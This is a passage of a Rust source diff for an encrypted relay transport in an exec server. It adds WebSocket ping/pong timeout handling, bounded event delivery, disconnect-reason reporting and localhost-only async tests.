/// Relay records and JSON-RPC messages do not share boundaries, so reassembly
|
||||
/// happens after decryption.
|
||||
@@ -406,6 +569,7 @@ async fn receive_data(
|
||||
transport: &mut NoiseTransport,
|
||||
decoder: &mut JsonRpcMessageDecoder,
|
||||
data: RelayData,
|
||||
delivery_deadline: tokio::time::Instant,
|
||||
incoming_tx: &mpsc::Sender<JsonRpcConnectionEvent>,
|
||||
) -> Result<(), ExecServerError> {
|
||||
// Ordering must happen before decryption because Noise transport nonces are
|
||||
@@ -419,30 +583,50 @@ async fn receive_data(
|
||||
// The authenticated byte stream can carry partial or multiple JSON-RPC
|
||||
// messages; emit only complete, successfully parsed messages.
|
||||
for message in decoder.push(&plaintext)? {
|
||||
incoming_tx
|
||||
.send(JsonRpcConnectionEvent::Message(message))
|
||||
.await
|
||||
.map_err(|_| ExecServerError::Closed)?;
|
||||
send_incoming_event(
|
||||
incoming_tx,
|
||||
JsonRpcConnectionEvent::Message(message),
|
||||
delivery_deadline,
|
||||
)
|
||||
.await?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn send_malformed(incoming_tx: &mpsc::Sender<JsonRpcConnectionEvent>, reason: String) {
|
||||
let _ = incoming_tx
|
||||
.send(JsonRpcConnectionEvent::MalformedMessage { reason })
|
||||
.await;
|
||||
async fn send_incoming_event(
|
||||
incoming_tx: &mpsc::Sender<JsonRpcConnectionEvent>,
|
||||
event: JsonRpcConnectionEvent,
|
||||
deadline: tokio::time::Instant,
|
||||
) -> Result<(), ExecServerError> {
|
||||
match tokio::time::timeout_at(deadline, incoming_tx.send(event)).await {
|
||||
Ok(Ok(())) => Ok(()),
|
||||
Ok(Err(_)) => Err(ExecServerError::Closed),
|
||||
Err(_) => {
|
||||
warn!(
|
||||
noise_reason = "application_backpressure",
|
||||
"Noise harness application event delivery timed out"
|
||||
);
|
||||
Err(ExecServerError::Closed)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn send_disconnected(
|
||||
fn send_malformed(incoming_tx: &mpsc::Sender<JsonRpcConnectionEvent>, reason: String) {
|
||||
let _ = incoming_tx.try_send(JsonRpcConnectionEvent::MalformedMessage { reason });
|
||||
}
|
||||
|
||||
fn send_disconnected(
|
||||
incoming_tx: &mpsc::Sender<JsonRpcConnectionEvent>,
|
||||
disconnected_tx: &watch::Sender<bool>,
|
||||
reason: String,
|
||||
) {
|
||||
let _ = disconnected_tx.send(true);
|
||||
let _ = incoming_tx
|
||||
.send(JsonRpcConnectionEvent::Disconnected {
|
||||
reason: Some(reason),
|
||||
})
|
||||
.await;
|
||||
let _ = incoming_tx.try_send(JsonRpcConnectionEvent::Disconnected {
|
||||
reason: Some(reason),
|
||||
});
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "harness_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -0,0 +1,442 @@
|
||||
use std::pin::Pin;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::AtomicUsize;
|
||||
use std::sync::atomic::Ordering;
|
||||
use std::task::Context as TaskContext;
|
||||
use std::task::Poll;
|
||||
use std::time::Duration;
|
||||
|
||||
use anyhow::Context;
|
||||
use anyhow::Result;
|
||||
use codex_exec_server_protocol::JSONRPCMessage;
|
||||
use codex_exec_server_protocol::JSONRPCRequest;
|
||||
use codex_exec_server_protocol::RequestId;
|
||||
use futures::Sink;
|
||||
use futures::SinkExt;
|
||||
use futures::StreamExt;
|
||||
use futures::channel::mpsc as futures_mpsc;
|
||||
use pretty_assertions::assert_eq;
|
||||
use tokio::net::TcpListener;
|
||||
use tokio::sync::mpsc;
|
||||
use tokio::time::Instant;
|
||||
use tokio::time::timeout;
|
||||
use tokio_tungstenite::accept_async;
|
||||
use tokio_tungstenite::connect_async;
|
||||
use tokio_tungstenite::tungstenite::Message;
|
||||
|
||||
use super::*;
|
||||
use crate::connection::JsonRpcConnectionEvent;
|
||||
use crate::noise_channel::PendingResponderHandshake;
|
||||
|
||||
const ENVIRONMENT_ID: &str = "environment-1";
|
||||
const EXECUTOR_REGISTRATION_ID: &str = "registration-1";
|
||||
|
||||
#[tokio::test]
|
||||
async fn fragmented_writes_yield_to_keepalive_and_queued_pong() -> Result<()> {
|
||||
let (connection, mut control, mut outbound_rx) = connected_controlled_harness().await?;
|
||||
|
||||
connection
|
||||
.outgoing_tx
|
||||
.send(JSONRPCMessage::Request(JSONRPCRequest {
|
||||
id: RequestId::Integer(1),
|
||||
method: "large".to_string(),
|
||||
params: Some(serde_json::json!({
|
||||
"payload": "x".repeat(NOISE_RECORD_PLAINTEXT_LEN * 3),
|
||||
})),
|
||||
trace: None,
|
||||
}))
|
||||
.await?;
|
||||
|
||||
control.wait_for_blocked_write(/*expected*/ 1).await?;
|
||||
tokio::time::sleep(WEBSOCKET_KEEPALIVE_INTERVAL + Duration::from_millis(10)).await;
|
||||
control.grant_writes(/*count*/ 1);
|
||||
let first_data = read_outbound_data(&mut outbound_rx).await?;
|
||||
assert_eq!(first_data.seq, 0);
|
||||
|
||||
control.wait_for_blocked_write(/*expected*/ 2).await?;
|
||||
control.grant_writes(/*count*/ 1);
|
||||
let Message::Ping(ping_payload) = timeout(Duration::from_secs(1), outbound_rx.next())
|
||||
.await?
|
||||
.context("harness closed before sending keepalive")?
|
||||
else {
|
||||
anyhow::bail!("expected keepalive between fragmented writes");
|
||||
};
|
||||
|
||||
control.wait_for_blocked_write(/*expected*/ 3).await?;
|
||||
control.send_inbound(Message::Pong(ping_payload))?;
|
||||
tokio::time::sleep(WEBSOCKET_KEEPALIVE_INTERVAL + Duration::from_millis(10)).await;
|
||||
control.grant_writes(/*count*/ 1);
|
||||
let second_data = read_outbound_data(&mut outbound_rx).await?;
|
||||
assert_eq!(second_data.seq, 1);
|
||||
|
||||
control.wait_for_blocked_write(/*expected*/ 4).await?;
|
||||
control.grant_writes(/*count*/ 1);
|
||||
let next_message = timeout(Duration::from_secs(1), outbound_rx.next())
|
||||
.await?
|
||||
.context("harness closed after receiving queued Pong")?;
|
||||
assert!(matches!(next_message, Message::Ping(_)));
|
||||
|
||||
for task in &connection.task_handles {
|
||||
task.abort();
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test(flavor = "current_thread")]
|
||||
async fn post_deadline_drain_stops_before_frame_33() -> Result<()> {
|
||||
let (mut connection, mut control, mut outbound_rx) = connected_controlled_harness().await?;
|
||||
|
||||
control.wait_for_blocked_write(/*expected*/ 1).await?;
|
||||
control.grant_writes(/*count*/ 1);
|
||||
let Message::Ping(ping_payload) = timeout(Duration::from_secs(1), outbound_rx.next())
|
||||
.await?
|
||||
.context("harness closed before sending keepalive")?
|
||||
else {
|
||||
anyhow::bail!("expected keepalive ping");
|
||||
};
|
||||
let reads_before_deadline = control.inbound_reads();
|
||||
|
||||
let unrelated_frame =
|
||||
encode_relay_message_frame(&RelayMessageFrame::resume("unrelated-stream".to_string()));
|
||||
for _ in 0..MAX_FRAMES_DRAINED_AFTER_PONG_DEADLINE {
|
||||
control.send_inbound(Message::Binary(unrelated_frame.clone().into()))?;
|
||||
}
|
||||
control.send_inbound(Message::Pong(ping_payload))?;
|
||||
|
||||
// Keep the current-thread runtime from consuming the queued frames until the
|
||||
// Pong deadline and every frame are ready together.
|
||||
std::thread::sleep(WEBSOCKET_PONG_TIMEOUT + Duration::from_millis(10));
|
||||
|
||||
let event = timeout(Duration::from_secs(1), connection.incoming_rx.recv()).await?;
|
||||
let Some(JsonRpcConnectionEvent::Disconnected { reason }) = event else {
|
||||
anyhow::bail!("expected Pong timeout, got {event:?}");
|
||||
};
|
||||
assert_eq!(reason.as_deref(), Some(WEBSOCKET_PONG_TIMEOUT_REASON));
|
||||
assert_eq!(
|
||||
control.inbound_reads() - reads_before_deadline,
|
||||
MAX_FRAMES_DRAINED_AFTER_PONG_DEADLINE
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pong_keeps_harness_alive_until_peer_stops_responding() -> Result<()> {
|
||||
let listener = TcpListener::bind("127.0.0.1:0").await?;
|
||||
let websocket_url = format!("ws://{}", listener.local_addr()?);
|
||||
let harness_connection = tokio::spawn(connect_async(websocket_url));
|
||||
let (socket, _peer_addr) = listener.accept().await?;
|
||||
let mut executor_websocket = accept_async(socket).await?;
|
||||
let (harness_websocket, _response) = harness_connection.await??;
|
||||
|
||||
let executor_identity = NoiseChannelIdentity::generate()?;
|
||||
let mut connection = noise_harness_connection_from_websocket(
|
||||
harness_websocket,
|
||||
NoiseHarnessConnectionArgs {
|
||||
connection_label: "test rendezvous".to_string(),
|
||||
environment_id: ENVIRONMENT_ID.to_string(),
|
||||
executor_registration_id: EXECUTOR_REGISTRATION_ID.to_string(),
|
||||
identity: NoiseChannelIdentity::generate()?,
|
||||
responder_public_key: executor_identity.public_key(),
|
||||
harness_key_authorization: "authorization".to_string(),
|
||||
},
|
||||
);
|
||||
|
||||
let resume_message = timeout(Duration::from_secs(1), executor_websocket.next())
|
||||
.await?
|
||||
.context("harness closed before sending resume")??;
|
||||
let Message::Binary(resume_payload) = resume_message else {
|
||||
anyhow::bail!("expected resume frame, got {resume_message:?}");
|
||||
};
|
||||
let resume = decode_relay_message_frame(resume_payload.as_ref())?;
|
||||
assert_eq!(resume.validate()?, RelayFrameBodyKind::Resume);
|
||||
|
||||
let handshake_message = timeout(Duration::from_secs(1), executor_websocket.next())
|
||||
.await?
|
||||
.context("harness closed before sending handshake")??;
|
||||
let Message::Binary(handshake_payload) = handshake_message else {
|
||||
anyhow::bail!("expected handshake frame, got {handshake_message:?}");
|
||||
};
|
||||
let handshake = decode_relay_message_frame(handshake_payload.as_ref())?;
|
||||
assert_eq!(handshake.stream_id, resume.stream_id);
|
||||
let stream_id = handshake.stream_id.clone();
|
||||
let prologue =
|
||||
noise_channel_prologue(ENVIRONMENT_ID, EXECUTOR_REGISTRATION_ID, stream_id.as_str());
|
||||
let pending = PendingResponderHandshake::read_request(
|
||||
&executor_identity,
|
||||
&prologue,
|
||||
&handshake.into_handshake_payload()?,
|
||||
)?;
|
||||
let (_transport, response) = pending.complete()?;
|
||||
let response = RelayMessageFrame::handshake(stream_id, response);
|
||||
executor_websocket
|
||||
.send(Message::Binary(
|
||||
encode_relay_message_frame(&response).into(),
|
||||
))
|
||||
.await?;
|
||||
|
||||
let mut pings = 0;
|
||||
while pings < 6 {
|
||||
let message = timeout(Duration::from_secs(1), executor_websocket.next())
|
||||
.await?
|
||||
.context("harness disconnected before six keepalive pings")??;
|
||||
match message {
|
||||
Message::Ping(payload) => {
|
||||
executor_websocket.send(Message::Pong(payload)).await?;
|
||||
pings += 1;
|
||||
}
|
||||
Message::Pong(_) | Message::Frame(_) => {}
|
||||
message => anyhow::bail!("expected keepalive ping, got {message:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
// Keep non-Pong traffic flowing after responses stop. It must not defeat
|
||||
// the bounded grace for a Pong already queued behind data.
|
||||
let unrelated_frame =
|
||||
encode_relay_message_frame(&RelayMessageFrame::resume("unrelated-stream".to_string()));
|
||||
let traffic_task = tokio::spawn(async move {
|
||||
loop {
|
||||
if executor_websocket
|
||||
.send(Message::Binary(unrelated_frame.clone().into()))
|
||||
.await
|
||||
.is_err()
|
||||
{
|
||||
break;
|
||||
}
|
||||
tokio::time::sleep(Duration::from_millis(5)).await;
|
||||
}
|
||||
});
|
||||
let event = timeout(Duration::from_secs(1), connection.incoming_rx.recv()).await?;
|
||||
traffic_task.abort();
|
||||
let _ = traffic_task.await;
|
||||
let Some(JsonRpcConnectionEvent::Disconnected { reason }) = event else {
|
||||
anyhow::bail!("expected pong timeout, got {event:?}");
|
||||
};
|
||||
assert_eq!(reason.as_deref(), Some(WEBSOCKET_PONG_TIMEOUT_REASON));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn application_event_delivery_is_bounded() -> Result<()> {
|
||||
let (incoming_tx, _incoming_rx) = mpsc::channel(1);
|
||||
incoming_tx
|
||||
.send(JsonRpcConnectionEvent::MalformedMessage {
|
||||
reason: "fill queue".to_string(),
|
||||
})
|
||||
.await?;
|
||||
|
||||
let result = send_incoming_event(
|
||||
&incoming_tx,
|
||||
JsonRpcConnectionEvent::MalformedMessage {
|
||||
reason: "blocked event".to_string(),
|
||||
},
|
||||
Instant::now() + Duration::from_millis(10),
|
||||
)
|
||||
.await;
|
||||
|
||||
assert!(matches!(result, Err(ExecServerError::Closed)));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn read_outbound_data(
|
||||
outbound_rx: &mut futures_mpsc::UnboundedReceiver<Message>,
|
||||
) -> Result<RelayData> {
|
||||
let Message::Binary(payload) = timeout(Duration::from_secs(1), outbound_rx.next())
|
||||
.await?
|
||||
.context("harness closed before sending data")?
|
||||
else {
|
||||
anyhow::bail!("expected relay data frame");
|
||||
};
|
||||
let frame = decode_relay_message_frame(payload.as_ref())?;
|
||||
assert_eq!(frame.validate()?, RelayFrameBodyKind::Data);
|
||||
frame.into_data().map_err(anyhow::Error::from)
|
||||
}
|
||||
|
||||
async fn connected_controlled_harness() -> Result<(
|
||||
JsonRpcConnection,
|
||||
ControlledWebSocketHandle,
|
||||
futures_mpsc::UnboundedReceiver<Message>,
|
||||
)> {
|
||||
let (websocket, control, mut outbound_rx) = ControlledWebSocket::new(/*write_permits*/ 2);
|
||||
let executor_identity = NoiseChannelIdentity::generate()?;
|
||||
let connection = noise_harness_connection_from_websocket(
|
||||
websocket,
|
||||
NoiseHarnessConnectionArgs {
|
||||
connection_label: "test rendezvous".to_string(),
|
||||
environment_id: ENVIRONMENT_ID.to_string(),
|
||||
executor_registration_id: EXECUTOR_REGISTRATION_ID.to_string(),
|
||||
identity: NoiseChannelIdentity::generate()?,
|
||||
responder_public_key: executor_identity.public_key(),
|
||||
harness_key_authorization: "authorization".to_string(),
|
||||
},
|
||||
);
|
||||
|
||||
let Message::Binary(resume_payload) = timeout(Duration::from_secs(1), outbound_rx.next())
|
||||
.await?
|
||||
.context("harness closed before sending resume")?
|
||||
else {
|
||||
anyhow::bail!("expected resume frame");
|
||||
};
|
||||
let resume = decode_relay_message_frame(resume_payload.as_ref())?;
|
||||
let Message::Binary(handshake_payload) = timeout(Duration::from_secs(1), outbound_rx.next())
|
||||
.await?
|
||||
.context("harness closed before sending handshake")?
|
||||
else {
|
||||
anyhow::bail!("expected handshake frame");
|
||||
};
|
||||
let handshake = decode_relay_message_frame(handshake_payload.as_ref())?;
|
||||
let stream_id = handshake.stream_id.clone();
|
||||
assert_eq!(stream_id, resume.stream_id);
|
||||
let prologue =
|
||||
noise_channel_prologue(ENVIRONMENT_ID, EXECUTOR_REGISTRATION_ID, stream_id.as_str());
|
||||
let pending = PendingResponderHandshake::read_request(
|
||||
&executor_identity,
|
||||
&prologue,
|
||||
&handshake.into_handshake_payload()?,
|
||||
)?;
|
||||
let (_transport, response) = pending.complete()?;
|
||||
control.send_inbound(Message::Binary(
|
||||
encode_relay_message_frame(&RelayMessageFrame::handshake(stream_id, response)).into(),
|
||||
))?;
|
||||
Ok((connection, control, outbound_rx))
|
||||
}
|
||||
|
||||
struct ControlledWebSocket {
|
||||
inbound_rx: futures_mpsc::UnboundedReceiver<Result<Message, std::convert::Infallible>>,
|
||||
outbound_tx: futures_mpsc::UnboundedSender<Message>,
|
||||
write_permit_rx: futures_mpsc::UnboundedReceiver<()>,
|
||||
blocked_write_tx: futures_mpsc::UnboundedSender<usize>,
|
||||
write_waiting: bool,
|
||||
blocked_writes: usize,
|
||||
inbound_reads: Arc<AtomicUsize>,
|
||||
}
|
||||
|
||||
struct ControlledWebSocketHandle {
|
||||
inbound_tx: futures_mpsc::UnboundedSender<Result<Message, std::convert::Infallible>>,
|
||||
write_permit_tx: futures_mpsc::UnboundedSender<()>,
|
||||
blocked_write_rx: futures_mpsc::UnboundedReceiver<usize>,
|
||||
inbound_reads: Arc<AtomicUsize>,
|
||||
}
|
||||
|
||||
impl ControlledWebSocket {
|
||||
fn new(
|
||||
write_permits: usize,
|
||||
) -> (
|
||||
Self,
|
||||
ControlledWebSocketHandle,
|
||||
futures_mpsc::UnboundedReceiver<Message>,
|
||||
) {
|
||||
let (inbound_tx, inbound_rx) = futures_mpsc::unbounded();
|
||||
let (outbound_tx, outbound_rx) = futures_mpsc::unbounded();
|
||||
let (write_permit_tx, write_permit_rx) = futures_mpsc::unbounded();
|
||||
let (blocked_write_tx, blocked_write_rx) = futures_mpsc::unbounded();
|
||||
for _ in 0..write_permits {
|
||||
write_permit_tx
|
||||
.unbounded_send(())
|
||||
.expect("test write permit receiver should stay open");
|
||||
}
|
||||
let inbound_reads = Arc::new(AtomicUsize::new(0));
|
||||
(
|
||||
Self {
|
||||
inbound_rx,
|
||||
outbound_tx,
|
||||
write_permit_rx,
|
||||
blocked_write_tx,
|
||||
write_waiting: false,
|
||||
blocked_writes: 0,
|
||||
inbound_reads: Arc::clone(&inbound_reads),
|
||||
},
|
||||
ControlledWebSocketHandle {
|
||||
inbound_tx,
|
||||
write_permit_tx,
|
||||
blocked_write_rx,
|
||||
inbound_reads,
|
||||
},
|
||||
outbound_rx,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
impl ControlledWebSocketHandle {
|
||||
fn send_inbound(&self, message: Message) -> Result<()> {
|
||||
self.inbound_tx
|
||||
.unbounded_send(Ok(message))
|
||||
.map_err(anyhow::Error::from)
|
||||
}
|
||||
|
||||
fn grant_writes(&self, count: usize) {
|
||||
for _ in 0..count {
|
||||
self.write_permit_tx
|
||||
.unbounded_send(())
|
||||
.expect("test write permit receiver should stay open");
|
||||
}
|
||||
}
|
||||
|
||||
fn inbound_reads(&self) -> usize {
|
||||
self.inbound_reads.load(Ordering::Acquire)
|
||||
}
|
||||
|
||||
async fn wait_for_blocked_write(&mut self, expected: usize) -> Result<()> {
|
||||
let actual = timeout(Duration::from_secs(1), self.blocked_write_rx.next())
|
||||
.await?
|
||||
.context("websocket closed before blocking the expected write")?;
|
||||
assert_eq!(actual, expected);
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
impl Sink<Message> for ControlledWebSocket {
|
||||
type Error = std::convert::Infallible;
|
||||
|
||||
fn poll_ready(self: Pin<&mut Self>, cx: &mut TaskContext<'_>) -> Poll<Result<(), Self::Error>> {
|
||||
let this = self.get_mut();
|
||||
match Pin::new(&mut this.write_permit_rx).poll_next(cx) {
|
||||
Poll::Ready(Some(())) => {
|
||||
this.write_waiting = false;
|
||||
Poll::Ready(Ok(()))
|
||||
}
|
||||
Poll::Ready(None) | Poll::Pending => {
|
||||
if !this.write_waiting {
|
||||
this.write_waiting = true;
|
||||
this.blocked_writes += 1;
|
||||
this.blocked_write_tx
|
||||
.unbounded_send(this.blocked_writes)
|
||||
.expect("test blocked-write receiver should stay open");
|
||||
}
|
||||
Poll::Pending
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn start_send(self: Pin<&mut Self>, item: Message) -> Result<(), Self::Error> {
|
||||
self.outbound_tx
|
||||
.unbounded_send(item)
|
||||
.expect("test outbound receiver should stay open");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn poll_flush(
|
||||
self: Pin<&mut Self>,
|
||||
_cx: &mut TaskContext<'_>,
|
||||
) -> Poll<Result<(), Self::Error>> {
|
||||
Poll::Ready(Ok(()))
|
||||
}
|
||||
|
||||
fn poll_close(
|
||||
self: Pin<&mut Self>,
|
||||
_cx: &mut TaskContext<'_>,
|
||||
) -> Poll<Result<(), Self::Error>> {
|
||||
Poll::Ready(Ok(()))
|
||||
}
|
||||
}
|
||||
|
||||
impl futures::Stream for ControlledWebSocket {
|
||||
type Item = Result<Message, std::convert::Infallible>;
|
||||
|
||||
fn poll_next(mut self: Pin<&mut Self>, cx: &mut TaskContext<'_>) -> Poll<Option<Self::Item>> {
|
||||
let result = Pin::new(&mut self.inbound_rx).poll_next(cx);
|
||||
if matches!(result, Poll::Ready(Some(_))) {
|
||||
self.inbound_reads.fetch_add(1, Ordering::Release);
|
||||
}
|
||||
result
|
||||
}
|
||||
}
|
||||
@@ -41,6 +41,9 @@ use crate::relay_proto::RelayReset;
|
||||
use crate::relay_proto::RelayResume;
|
||||
use crate::relay_proto::relay_message_frame;
|
||||
use crate::server::ConnectionProcessor;
|
||||
use crate::websocket_pong_watchdog::WEBSOCKET_PONG_TIMEOUT;
|
||||
use crate::websocket_pong_watchdog::WEBSOCKET_PONG_TIMEOUT_REASON;
|
||||
use crate::websocket_pong_watchdog::WebSocketPongWatchdog;
|
||||
|
||||
const RELAY_MESSAGE_FRAME_VERSION: u32 = 1;
|
||||
const MAX_ACTIVE_NOISE_RELAY_STREAMS: usize = 128;
|
||||
@@ -49,6 +52,27 @@ const MAX_HARNESS_KEY_AUTHORIZATION_BYTES: usize = 4096;
|
||||
const MAX_PENDING_HANDSHAKE_VALIDATIONS: usize = 32;
|
||||
const HARNESS_KEY_VALIDATION_TIMEOUT: Duration = Duration::from_secs(10);
|
||||
|
||||
#[derive(Debug, Clone, Copy, Eq, PartialEq)]
|
||||
pub(crate) enum RendezvousDisconnectReason {
|
||||
PeerClose,
|
||||
ReadError,
|
||||
WriteError,
|
||||
PongTimeout,
|
||||
LocalShutdown,
|
||||
}
|
||||
|
||||
impl RendezvousDisconnectReason {
|
||||
pub(crate) fn as_str(self) -> &'static str {
|
||||
match self {
|
||||
Self::PeerClose => "peer_close",
|
||||
Self::ReadError => "read_error",
|
||||
Self::WriteError => "write_error",
|
||||
Self::PongTimeout => WEBSOCKET_PONG_TIMEOUT_REASON,
|
||||
Self::LocalShutdown => "local_shutdown",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, Eq, PartialEq)]
|
||||
pub(crate) enum RelayFrameBodyKind {
|
||||
Data,
|
||||
@@ -448,7 +472,8 @@ pub(crate) async fn run_multiplexed_environment<S, V>(
|
||||
executor_registration_id: String,
|
||||
identity: NoiseChannelIdentity,
|
||||
validator: V,
|
||||
) where
|
||||
) -> RendezvousDisconnectReason
|
||||
where
|
||||
S: AsyncRead + AsyncWrite + Unpin + Send + 'static,
|
||||
V: HarnessKeyValidator + Clone + 'static,
|
||||
{
|
||||
@@ -461,6 +486,7 @@ pub(crate) async fn run_multiplexed_environment<S, V>(
|
||||
mpsc::channel::<Vec<u8>>(CHANNEL_CAPACITY);
|
||||
let (closed_stream_tx, mut closed_stream_rx) =
|
||||
mpsc::channel::<ClosedNoiseVirtualStream>(MAX_ACTIVE_NOISE_RELAY_STREAMS);
|
||||
let (pong_tx, mut pong_rx) = mpsc::channel(1);
|
||||
// Use a separate writer so this loop never waits on the channel it drains.
|
||||
let mut physical_writer_task = tokio::spawn(async move {
|
||||
let mut keepalive = tokio::time::interval_at(
|
||||
@@ -468,19 +494,61 @@ pub(crate) async fn run_multiplexed_environment<S, V>(
|
||||
WEBSOCKET_KEEPALIVE_INTERVAL,
|
||||
);
|
||||
keepalive.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip);
|
||||
let mut pong_watchdog = WebSocketPongWatchdog::new(WEBSOCKET_PONG_TIMEOUT);
|
||||
let pong_deadline = tokio::time::sleep(WEBSOCKET_PONG_TIMEOUT);
|
||||
tokio::pin!(pong_deadline);
|
||||
loop {
|
||||
let message = tokio::select! {
|
||||
pong = pong_rx.recv() => {
|
||||
let Some(()) = pong else {
|
||||
break RendezvousDisconnectReason::LocalShutdown;
|
||||
};
|
||||
pong_watchdog.received_pong();
|
||||
continue;
|
||||
}
|
||||
_ = &mut pong_deadline, if pong_watchdog.deadline().is_some() => {
|
||||
match pong_rx.try_recv() {
|
||||
Ok(()) => {
|
||||
pong_watchdog.received_pong();
|
||||
continue;
|
||||
}
|
||||
Err(tokio::sync::mpsc::error::TryRecvError::Empty) => {
|
||||
break RendezvousDisconnectReason::PongTimeout;
|
||||
}
|
||||
Err(tokio::sync::mpsc::error::TryRecvError::Disconnected) => {
|
||||
break RendezvousDisconnectReason::LocalShutdown;
|
||||
}
|
||||
}
|
||||
}
|
||||
_ = keepalive.tick(), if pong_watchdog.deadline().is_none() => {
|
||||
Message::Ping(Vec::new().into())
|
||||
}
|
||||
encoded = physical_outgoing_rx.recv() => {
|
||||
let Some(encoded) = encoded else {
|
||||
break;
|
||||
break RendezvousDisconnectReason::LocalShutdown;
|
||||
};
|
||||
Message::Binary(encoded.into())
|
||||
}
|
||||
_ = keepalive.tick() => Message::Ping(Vec::new().into()),
|
||||
};
|
||||
if let Err(error) = websocket_sink.send(message).await {
|
||||
warn!("Noise multiplexed environment websocket write failed: {error}");
|
||||
break;
|
||||
let is_keepalive_ping = matches!(message, Message::Ping(_));
|
||||
let write_deadline = pong_watchdog.write_deadline(tokio::time::Instant::now());
|
||||
match tokio::time::timeout_at(write_deadline, websocket_sink.send(message)).await {
|
||||
Ok(Ok(())) => {
|
||||
if is_keepalive_ping {
|
||||
pong_watchdog.ping_sent(tokio::time::Instant::now());
|
||||
if let Some(deadline) = pong_watchdog.deadline() {
|
||||
pong_deadline.as_mut().reset(deadline);
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(error)) => {
|
||||
warn!("Noise multiplexed environment websocket write failed: {error}");
|
||||
break RendezvousDisconnectReason::WriteError;
|
||||
}
|
||||
Err(_) => {
|
||||
warn!("Noise multiplexed environment websocket write timed out");
|
||||
break RendezvousDisconnectReason::WriteError;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -489,13 +557,18 @@ pub(crate) async fn run_multiplexed_environment<S, V>(
|
||||
let mut validation_tasks: JoinSet<HarnessKeyValidationResult> = JoinSet::new();
|
||||
let mut failed_handshakes = 0usize;
|
||||
let mut next_validation_id = 0u64;
|
||||
let mut disconnect_reason = RendezvousDisconnectReason::LocalShutdown;
|
||||
|
||||
loop {
|
||||
// Registry calls run separately so a slow check does not block the relay.
|
||||
let frame = tokio::select! {
|
||||
writer_result = &mut physical_writer_task => {
|
||||
if let Err(error) = writer_result {
|
||||
warn!("Noise multiplexed environment websocket writer failed: {error}");
|
||||
match writer_result {
|
||||
Ok(reason) => disconnect_reason = reason,
|
||||
Err(error) => {
|
||||
warn!("Noise multiplexed environment websocket writer failed: {error}");
|
||||
disconnect_reason = RendezvousDisconnectReason::LocalShutdown;
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -621,14 +694,22 @@ pub(crate) async fn run_multiplexed_environment<S, V>(
|
||||
continue;
|
||||
}
|
||||
},
|
||||
Some(Ok(Message::Close(_))) | None => break,
|
||||
Some(Ok(Message::Ping(_) | Message::Pong(_) | Message::Frame(_))) => continue,
|
||||
Some(Ok(Message::Close(_))) | None => {
|
||||
disconnect_reason = RendezvousDisconnectReason::PeerClose;
|
||||
break;
|
||||
}
|
||||
Some(Ok(Message::Pong(_))) => {
|
||||
let _ = pong_tx.try_send(());
|
||||
continue;
|
||||
}
|
||||
Some(Ok(Message::Ping(_) | Message::Frame(_))) => continue,
|
||||
Some(Ok(Message::Text(_))) => {
|
||||
warn!("dropping non-binary Noise relay frame from harness");
|
||||
continue;
|
||||
}
|
||||
Some(Err(error)) => {
|
||||
debug!("Noise multiplexed environment websocket read failed: {error}");
|
||||
disconnect_reason = RendezvousDisconnectReason::ReadError;
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -802,6 +883,7 @@ pub(crate) async fn run_multiplexed_environment<S, V>(
|
||||
physical_writer_task.abort();
|
||||
let _ = physical_writer_task.await;
|
||||
}
|
||||
disconnect_reason
|
||||
}
|
||||
|
||||
/// Charge one failed authenticated-channel attempt to this physical relay.
|
||||
|
||||
@@ -17,6 +17,7 @@ use tokio_tungstenite::tungstenite::Message;
|
||||
use super::HarnessKeyValidator;
|
||||
use super::MAX_FAILED_NOISE_HANDSHAKES;
|
||||
use super::MAX_HARNESS_KEY_AUTHORIZATION_BYTES;
|
||||
use super::RendezvousDisconnectReason;
|
||||
use super::run_multiplexed_environment;
|
||||
use crate::ExecServerError;
|
||||
use crate::ExecServerRuntimePaths;
|
||||
@@ -33,6 +34,86 @@ use crate::server::ConnectionProcessor;
|
||||
const ENVIRONMENT_ID: &str = "environment-1";
|
||||
const EXECUTOR_REGISTRATION_ID: &str = "registration-1";
|
||||
|
||||
#[tokio::test]
|
||||
async fn missing_pong_disconnects_physical_relay() -> Result<()> {
|
||||
let listener = TcpListener::bind("127.0.0.1:0").await?;
|
||||
let websocket_url = format!("ws://{}", listener.local_addr()?);
|
||||
let harness_connection = tokio::spawn(connect_async(websocket_url));
|
||||
let (socket, _peer_addr) = listener.accept().await?;
|
||||
let environment_websocket = accept_async(socket).await?;
|
||||
let (_harness_websocket, _response) = harness_connection.await??;
|
||||
|
||||
let environment_task = tokio::spawn(run_multiplexed_environment(
|
||||
environment_websocket,
|
||||
ConnectionProcessor::new(ExecServerRuntimePaths::new(
|
||||
std::env::current_exe()?,
|
||||
/*codex_linux_sandbox_exe*/ None,
|
||||
)?),
|
||||
ENVIRONMENT_ID.to_string(),
|
||||
EXECUTOR_REGISTRATION_ID.to_string(),
|
||||
NoiseChannelIdentity::generate()?,
|
||||
BlockingValidator {
|
||||
calls: Arc::new(AtomicUsize::new(0)),
|
||||
release: Arc::new(Notify::new()),
|
||||
},
|
||||
));
|
||||
|
||||
assert_eq!(
|
||||
timeout(Duration::from_secs(1), environment_task).await??,
|
||||
RendezvousDisconnectReason::PongTimeout
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn pong_keeps_physical_relay_connected() -> Result<()> {
|
||||
let listener = TcpListener::bind("127.0.0.1:0").await?;
|
||||
